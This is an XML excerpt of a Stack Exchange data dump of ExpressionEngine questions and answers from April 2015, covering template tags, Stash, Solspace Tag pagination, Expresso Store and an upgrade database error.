  <row Id="30831" PostTypeId="1" AcceptedAnswerId="30832" CreationDate="2015-04-01T16:03:41.000" Score="0" ViewCount="88" Body="&lt;p&gt;I want to get all the channel entries for next next six months starting at the next month. I can use the month_limit and set it to 6 and I can use the start_on parameter to specify what date to start on but how do I get the 1st of the next month into that parameter?  So today being April 1st I want the start_on parameter to have 5/1/2015 00:00, how to do I get that into the start_on parameter?&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2015-04-01T16:31:06.087" Title="channel entries starting next at the month" Tags="|channel-entries|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30832" PostTypeId="2" ParentId="30831" CreationDate="2015-04-01T16:31:06.087" Score="1" Body="&lt;p&gt;I would use an addon like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/date_field_filter/usage/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/date_field_filter/usage/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you could throw on PHP parsing on that template and set a future date var:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$enddate = new DateTime();&#xA;$enddate-&amp;gt;modify(&quot;+6 month&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and your channel:entries tag would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    date_field=&quot;entry_date&quot;&#xA;    date_field_start=&quot;{current_time format='%m/%d/%Y %h:%i'}&quot;&#xA;    date_field_stop=&quot;&amp;lt;?php echo $enddate-&amp;gt;format(&quot;m/d/Y h:i&quot;); ?&amp;gt;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can mess with PHP DateTime to get the 0 hour of the current date I believe, do some reading at the docs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/class.datetime.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/class.datetime.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-04-01T16:31:06.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30837" PostTypeId="2" ParentId="30812" CreationDate="2015-04-01T21:05:25.193" Score="0" Body="&lt;p&gt;I've been sitting back waiting for an API of some kind to show up, but I haven't been able to find anything. You have created the grid field, but it doesn't have any columns. I believe you are going to have to manipulate the &lt;code&gt;exp_grid_columns&lt;/code&gt; table manually.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field_id = 0; //THE FIELD ID RETURNED BY THE INSERT ABOVE&#xA;&#xA;$grid_column = array(&#xA;    'field_id' =&amp;gt; $field_id,&#xA;    'content_type' =&amp;gt; 'channel',&#xA;    'col_order' =&amp;gt; 0,          //order of the columns&#xA;    'col_type'  =&amp;gt; '',         //field type name (text, textarea, assets)&#xA;    'col_label' =&amp;gt; '',         //the name of the column&#xA;    'col_name' =&amp;gt; '',          //the short_name of the column&#xA;    'col_instructions' =&amp;gt; '',  //instructions for the column&#xA;    'col_required' =&amp;gt; 'n',     //is this column required&#xA;    'col_search =&amp;gt; 'n',        //is this column searchable&#xA;    'col_width' =&amp;gt; 0,          //zero is auto&#xA;    'col_settings' =&amp;gt; ''       //the settings for the field type&#xA;);&#xA;$query = ee()-&amp;gt;db-&amp;gt;insert(&quot;grid_columns&quot;, $grid_column);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I would suggest, is to create a grid fieldtype the way you would like through the channel fields editor, and then look at the grid_columns table to get an idea of how it's set up.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-04-01T21:05:25.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30838" PostTypeId="1" AcceptedAnswerId="30865" CreationDate="2015-04-01T21:49:05.077" Score="0" ViewCount="30" Body="&lt;p&gt;when I use the pagination inside the exp:tag:entries-loop the links generated look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xy.com/blog/tag/Tipps%20für%20Lehrer/P10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xy.com/blog/tag/Tipps+für+Lehrer/P10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's exactly the same problem which is asked &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/20801/solspace-tag-entries-pagination-links&quot;&gt;here&lt;/a&gt; (but not solved), except I am not using stash. Thread-starter Davor Peic tried with a spartanic clean template and had the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I do not molest you with my code but just want to ask if you could verify that this is a bug or not. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="780" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-04-03T00:35:45.090" Title="Solspace Tag: Pagination generates %20-links, despite correct websafe-setting" Tags="|solspace|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30839" PostTypeId="1" AcceptedAnswerId="30954" CreationDate="2015-04-01T21:54:44.947" Score="0" ViewCount="28" Body="&lt;p&gt;I am using this code inside the exp:tag:entries-loop to generate pagination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{tag_paginate}&#xA;                {tag_pagination_links}&#xA;                    &amp;lt;div class=&quot;col-md-offset-3 text-center&quot;&amp;gt;&amp;lt;!-- col-md-offset-3 --&amp;gt;&#xA;                    &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;                        {first_page}&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;Erste Seite&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/first_page}&#xA;&#xA;                        {previous_page}&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Vorige Seite&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/previous_page}&#xA;&#xA;                        {page}&#xA;                            &amp;lt;li {if current_page}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {page}&#xA;&#xA;                        {next_page}&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Nächste Seite&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/next_page}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- /col-md-offset-3 --&amp;gt;&#xA;                {/tag_pagination_links}&#xA;                {/tag_paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The variable pagniation_page_number is not parsed, the same for the variable page - see screenshot attached:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ipoaY.png&quot; alt=&quot;Screenshot of broken pagination links&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please give me a hint how this could be fixed?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2015-04-09T16:13:37.647" Title="pagniation_page_number-variable does not parse in Solspace Tag-Module" Tags="|solspace|solspace-tag|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30840" PostTypeId="1" AcceptedAnswerId="30843" CreationDate="2015-04-01T22:28:28.180" Score="0" ViewCount="276" Body="&lt;p&gt;The following is part of an embedded template, which is passed &lt;code&gt;{embed:advertisers_entry_id}&lt;/code&gt; that contains a string like &lt;code&gt;34|68|124|&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Set defaults --}&#xA;{exp:stash:recipients}{/exp:stash:recipients}&#xA;{exp:stash:user_recipients}no{/exp:stash:user_recipients}&#xA;&#xA;{!-- Set Stash variables for email contact form --}&#xA;{exp:stash:set parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;advertisers&quot;&#xA;        disable=&quot;categories|category_fields|pagination&quot;&#xA;        entry_id=&quot;{embed:advertisers_entry_id}&quot;&#xA;    }&#xA;        {if {absolute_results} == 1}&#xA;            {stash:recipients}{if &quot;{advertiser_email}&quot;}{advertiser_email}{if:else}{author}{/if}{/stash:recipients}&#xA;        {if:else}&#xA;            {stash:user_recipients}yes{/stash:user_recipients}&#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{!-- Use Stash variables in email contact form --}&#xA;{exp:email:contact_form&#xA;    charset=&quot;utf-8&quot;&#xA;    form_class=&quot;customer-email-form&quot;&#xA;    recipients=&quot;{exp:stash:recipients}&quot;&#xA;    user_recipients=&quot;{stash:user_recipients}&quot;&#xA;}&#xA;{/exp:email:contact_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The goal is to setup the email contact form to send to either one recipient or multiple sender-specified recipients. Unfortunately, the above code is not working properly and I suspect it's a parse order issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the Channel entry loop is not occuring, and thus my Stash variables are not getting set properly for the email contact form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I make the Channel entry loop work?&lt;/li&gt;&#xA;&lt;li&gt;Once the Stash variables are properly set within the Channel entry loop, how do I use it in the email contact form?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've tried various combinations of &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt;, &lt;code&gt;process=&quot;end&quot;&lt;/code&gt;, &lt;code&gt;parse_vars=&quot;yes&quot;&lt;/code&gt;, etc. No go.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-04-14T01:29:09.860" Title="Set Stash variable in Channel entry loop, then use in email contact form? Parse order issues?" Tags="|templates|stash|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30841" PostTypeId="1" CreationDate="2015-04-01T22:43:43.747" Score="0" ViewCount="75" Body="&lt;p&gt;I'm saving my Low Variables as files above web root in a directory named &lt;em&gt;_vars&lt;/em&gt; and setting the file path in my &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Lab EE Master Config&lt;/a&gt; file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['low_variables_save_as_files'] = 'y';&#xA;$env_config['low_variables_one_way_sync'] = 'y';&#xA;$env_config['low_variables_file_path'] = $base_path . '/../_vars/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The variables work fine on my local environment and I can see them in the CP. After pushing up to my dev environment I don't see the variables in the dev CP even though I see them on the dev server in the &lt;em&gt;_vars&lt;/em&gt; directory. Because of this the variables aren't rendering. I even tried creating a variable directly in the CP and there's no file generated in the designated folder. Thoughts on what could be happening here?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2015-04-01T22:43:43.747" Title="Issue setting Low Variables file path with Focus Lab EE Master Config" Tags="|low-variables|focus-lab-master-config|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30843" PostTypeId="2" ParentId="30840" CreationDate="2015-04-02T02:00:46.203" Score="1" Body="&lt;p&gt;Hmm,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;{stash:set}&lt;/code&gt; in your example will only ever record your last record. You could be better off using &lt;code&gt;{exp:stash:append}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;   channel=&quot;advertisers&quot;&#xA;   disable=&quot;categories|category_fields|pagination&quot;&#xA;   entry_id=&quot;{embed:advertisers_entry_id}&quot;}&#xA;    //This will give a comma separated string&#xA;    {exp:stash:append parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;      {stash:recipients}&#xA;        {if {absolute_results} == 1}&#xA;          {if advertiser_email}{advertiser_email},{if:else}{author},{/if}&#xA;        {/if}&#xA;      {/stash:recipients}&#xA;    {/exp:stash:append}&#xA;     //This is just set on the last entry&#xA;     {exp:stash:set name=&quot;user_recipients&quot;}&#xA;       {if '{absolute_results}' != '1'}yes{/if}&#xA;     {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- Use Stash variables in email contact form --}&#xA;{exp:stash:parse} //Wrapping this ensures all stash'ing takes place before we use the values.&#xA;{exp:email:contact_form&#xA;    charset=&quot;utf-8&quot;&#xA;    form_class=&quot;customer-email-form&quot;&#xA;    recipients=&quot;{exp:stash:recipients}&quot;&#xA;    user_recipients=&quot;{stash:user_recipients}&quot;&#xA;}&#xA;{/exp:email:contact_form}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ignoring the form part for now, output the results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;recipients = {exp:stash:recipients}&#xA;users = {stash:user_recipients}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is all top-of-the-head, so dont take it as verbatim solution :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2015-04-14T01:29:09.860" LastActivityDate="2015-04-14T01:29:09.860" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30844" PostTypeId="2" ParentId="30781" CreationDate="2015-04-02T09:40:11.640" Score="0" Body="&lt;p&gt;Leaving my solution here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;low2seg&lt;/a&gt; plugin and query. Little messy but it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:query sql=&quot;select * from exp_categories as ec where ec.`cat_id` in (select distinct cat_id from `exp_category_posts` where entry_id in (select entry_id from `exp_category_posts` where cat_id = {segment_3_category_id})) and group_id = 1&quot;}&#xA;&amp;lt;option value=&quot;{cat_id}&quot;&amp;gt;{cat_name}&amp;lt;/option&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;At the end of the query, ensure you choose selected cat_id and group_id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;where cat_id = {segment_3_category_id})) and group_id = 1&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1350" LastActivityDate="2015-04-02T09:40:11.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30845" PostTypeId="2" ParentId="30839" CreationDate="2015-04-02T10:11:13.987" Score="0" Body="&lt;p&gt;This is also issue with EE pagination, which Tag uses: if you use the same URL, eg &lt;code&gt;http://example.com/entries/two+apples&lt;/code&gt; with pagination in &lt;code&gt;{exp:channel:entries}&lt;/code&gt;, the pagination URL can become &lt;code&gt;http://example.com/entries/two apples&lt;/code&gt;. Spaces in URLs render as &lt;code&gt;%20&lt;/code&gt; in the address bar, which is the URL entity equivalent of a space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is possibly a way to prevent &lt;code&gt;+&lt;/code&gt; to convert to a space by making trial-and-error changes in .htaccess, but another method could be to enable PHP in your templates and put a search &amp;amp; replace function to convert spaces to &lt;code&gt;+&lt;/code&gt; in pagination urls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo str_replace(' ', '+', '{pagination_url}'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-04-02T10:11:13.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30847" PostTypeId="2" ParentId="26981" CreationDate="2015-04-02T11:19:52.837" Score="0" Body="&lt;p&gt;You could do this with the &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash add-on&lt;/a&gt;. There's an example in the docs called &lt;a href=&quot;https://gist.github.com/croxton/6219973&quot; rel=&quot;nofollow&quot;&gt;Sort a list of entries by year and then by month&lt;/a&gt;. You could use a simpler version of that example for your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created an example that doesn't include all of your HTML markup and custom fields (photo, photo_caption, etc.). But this should get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step by step it works like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, set a list of all your entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;entries&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;event_photos&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot; orderby=&quot;photo_date&quot; search:photo_date=&quot;not IS_EMPTY&quot;}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:date_sort}{photo_date format=&quot;%m/%d/%y&quot;}{/stash:date_sort}&#xA;        {stash:date_machine}{entry_date}{/stash:date_machine}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make a copy of the same list containing only the &lt;code&gt;date_sort&lt;/code&gt; dates (mm/dd/yyyy) so we can find all unique dates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;dates&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:stash:get_list name=&quot;entries&quot;}&#xA;      {stash:date_sort}{date_sort}{/stash:date_sort}&#xA;  {/exp:stash:get_list}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then output the list of unique dates and a list of entries that match that unique date. The &lt;code&gt;date_machine&lt;/code&gt; is used to order them within each unique date.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;dates&quot; unique=&quot;yes&quot; orderby=&quot;date_sort&quot; sort=&quot;desc&quot;}&#xA;&#xA;  &amp;lt;h1&amp;gt;{date_sort}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {exp:stash:get_list:entries &#xA;        name=&quot;entries&quot; &#xA;        match=&quot;#^{date_sort}$#&quot; &#xA;        against=&quot;date_sort&quot; &#xA;        orderby=&quot;date_machine&quot; &#xA;        sort=&quot;asc&quot; &#xA;        prefix=&quot;entry&quot;&#xA;    }&#xA;&#xA;      {if entry:count==1}&#xA;      &amp;lt;ul&amp;gt;&#xA;      {/if}&#xA;&#xA;      &amp;lt;li&amp;gt;{entry:title} ({entry:date_sort})&amp;lt;/li&amp;gt;&#xA;&#xA;      {if entry:count==entry:total_results}&#xA;      &amp;lt;/ul&amp;gt;&#xA;      {/if}&#xA;    {/exp:stash:get_list:entries}&#xA;&#xA;&#xA;{/exp:stash:get_list} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastActivityDate="2015-04-02T11:19:52.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30848" PostTypeId="1" CreationDate="2015-04-02T13:06:21.033" Score="1" ViewCount="82" Body="&lt;p&gt;I'd like to add a &quot;Reorder&quot; button to the previous orders (store:orders) in Store so when a user clicks the button that same item, quantity and modifiers will be placed in to their shopping cart. I've cobbled together the following but it loads slowly, the modifiers don't work as the {modifier_input_name} tag doesn't exist in the {items} tag and it only seems to process the first four of the {exp:store:product} tags. Is there a better way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Order history template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders member_id='CURRENT_USER' order_by='order_date' sort='desc'}&#xA;{items} {title}&#xA;{embed=&quot;includes/order_history_reorder&quot; entry_id=&quot;{entry_id}&quot; hidden_fields=&quot;&amp;lt;input type='hidden' name='item_qty' value='{item_qty}' class='item_quantity' /&amp;gt;{modifiers}&amp;lt;input name='UNKNOWN' value='{modifier_value}' type='hidden'&amp;gt;{/modifiers}&quot; }&#xA;{/items}&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;includes/order_history_reorder template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{embed:entry_id}&quot; disable_javascript=&quot;yes&quot;}&#xA;{embed:hidden_fields}&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;submit-button&quot; value=&quot;{lv_reorder_text}&quot; /&amp;gt;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="961" LastActivityDate="2015-04-21T09:14:52.723" Title="Expresso Store: Reorder button for previous orders" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30849" PostTypeId="1" AcceptedAnswerId="31047" CreationDate="2015-04-02T13:51:41.967" Score="1" ViewCount="477" Body="&lt;p&gt;we've recently updated a website to EE 2.9.3, but when linking to an non existent page, it should redirect to a 404 page. Instead, we get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error Number: 1054&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unknown column 'order' in 'order clause'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT &lt;code&gt;route_parsed&lt;/code&gt;, &lt;code&gt;template_name&lt;/code&gt;, &lt;code&gt;group_name&lt;/code&gt; FROM (&lt;code&gt;exp_templates&lt;/code&gt;) JOIN &lt;code&gt;exp_template_routes&lt;/code&gt; ON &lt;code&gt;exp_templates&lt;/code&gt;.&lt;code&gt;template_id&lt;/code&gt; = &lt;code&gt;exp_template_routes&lt;/code&gt;.&lt;code&gt;template_id&lt;/code&gt; JOIN &lt;code&gt;exp_template_groups&lt;/code&gt; ON &lt;code&gt;exp_templates&lt;/code&gt;.&lt;code&gt;group_id&lt;/code&gt; = &lt;code&gt;exp_template_groups&lt;/code&gt;.&lt;code&gt;group_id&lt;/code&gt; WHERE &lt;code&gt;route_parsed&lt;/code&gt; is not null AND &lt;code&gt;exp_templates&lt;/code&gt;.&lt;code&gt;site_id&lt;/code&gt; = '1' ORDER BY &lt;code&gt;order&lt;/code&gt;, &lt;code&gt;group_name&lt;/code&gt;, &lt;code&gt;template_name&lt;/code&gt; ASC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/Template_router.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 83&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I checked the database and there is indeed no 'order' in exp_templates. To know what type this field should be, I did a clean install elsewhere on 2.9.3 and noticed this field isn't there at all. The request to it though, in Template_router.php, is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3830" LastEditorUserId="3830" LastEditDate="2015-04-16T05:48:18.787" LastActivityDate="2015-04-16T11:59:37.823" Title="Updated to 2.9.3, Unknown column 'order' in 'order clause'" Tags="|error|update|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30850" PostTypeId="1" AcceptedAnswerId="31452" CreationDate="2015-04-02T14:00:51.420" Score="1" ViewCount="206" Body="&lt;p&gt;How do I enable pagination in the {store:orders} tag? I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders member_id='CURRENT_USER' order_by='order_date' sort='desc' pagination=&quot;bottom&quot;}&#xA;.... snip ....&#xA;{paginate}&#xA;    &amp;lt;p&amp;gt;{pagination_links}&amp;lt;/p&amp;gt;&#xA;{/paginate}&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it just outputs the paginate tags as they appear in the template.&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2015-05-12T09:37:27.223" Title="Expresso Store pagination" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30851" PostTypeId="2" ParentId="30850" CreationDate="2015-04-02T14:18:24.950" Score="3" Body="&lt;p&gt;Looking at the code, it appears that the Store Orders tag doesn't support pagination at present.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-04-02T14:18:24.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30852" PostTypeId="1" CreationDate="2015-04-02T14:30:56.667" Score="0" ViewCount="74" Body="&lt;p&gt;I have a strange issue. EE 2.6.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can upload and view PDF files. However the file names in the Manager are not links to the files themselves. The manager works fine with images JPG, PNG but doesn't with PDF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All insights are appriciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qn7nX.png&quot; alt=&quot;Bad Link in File Manager&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1692" LastActivityDate="2015-04-02T16:20:28.267" Title="Links to PDF don't work in File Manager" Tags="|file-uploads|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30853" PostTypeId="2" ParentId="30848" CreationDate="2015-04-02T15:50:44.903" Score="2" Body="&lt;p&gt;I haven't tested this but off the top of my head I would recommend using the &lt;a href=&quot;https://www.exp-resso.com/docs/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;Product Form&lt;/a&gt; tag to allow you to add all of the items to the cart without the need for embeds. If you have issues change the hidden fields to text fields to see what they are being populated with.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product_form return=&quot;store/checkout&quot;}&#xA;    {exp:store:orders member_id='CURRENT_USER' order_by='order_date' sort='desc'}&#xA;    &amp;lt;h1&amp;gt;{order_id} -- order_date format=&quot;%m.%d.%Y&quot;}&amp;lt;/h1&amp;gt;&#xA;&#xA;        {items}&#xA;            {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot;  disable_javascript=&quot;yes&quot;}&#xA;                {title} &#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;items[{item:count}][entry_id]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;items[{item:count}][item_qty]&quot; size=&quot;3&quot; value=&quot;1&quot; /&amp;gt;&#xA;                {modifiers}&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;items[{item:count}][{modifier_input_name}]&quot; value=&quot;{modifier_value}&quot;&amp;gt;&#xA;                {/modifiers}&#xA;        {/items}&#xA;    {/exp:store:orders}&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Repeat this order&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;{/exp:store:product_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally DevDemon would add variable prefixing to all of the Store tags so you could make sure that you don't have conflicts with variable names.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-04-02T15:50:44.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30854" PostTypeId="2" ParentId="30852" CreationDate="2015-04-02T16:20:28.267" Score="1" Body="&lt;p&gt;I think that linking non-image files didn't start happening until 2.7.0. In the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-7-0&quot; rel=&quot;nofollow&quot;&gt;docs for the 2.7.0 update&lt;/a&gt; under General Changes: &quot;All files regardless of type are now linked for viewing in the File Manager.&quot;&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2015-04-02T16:20:28.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
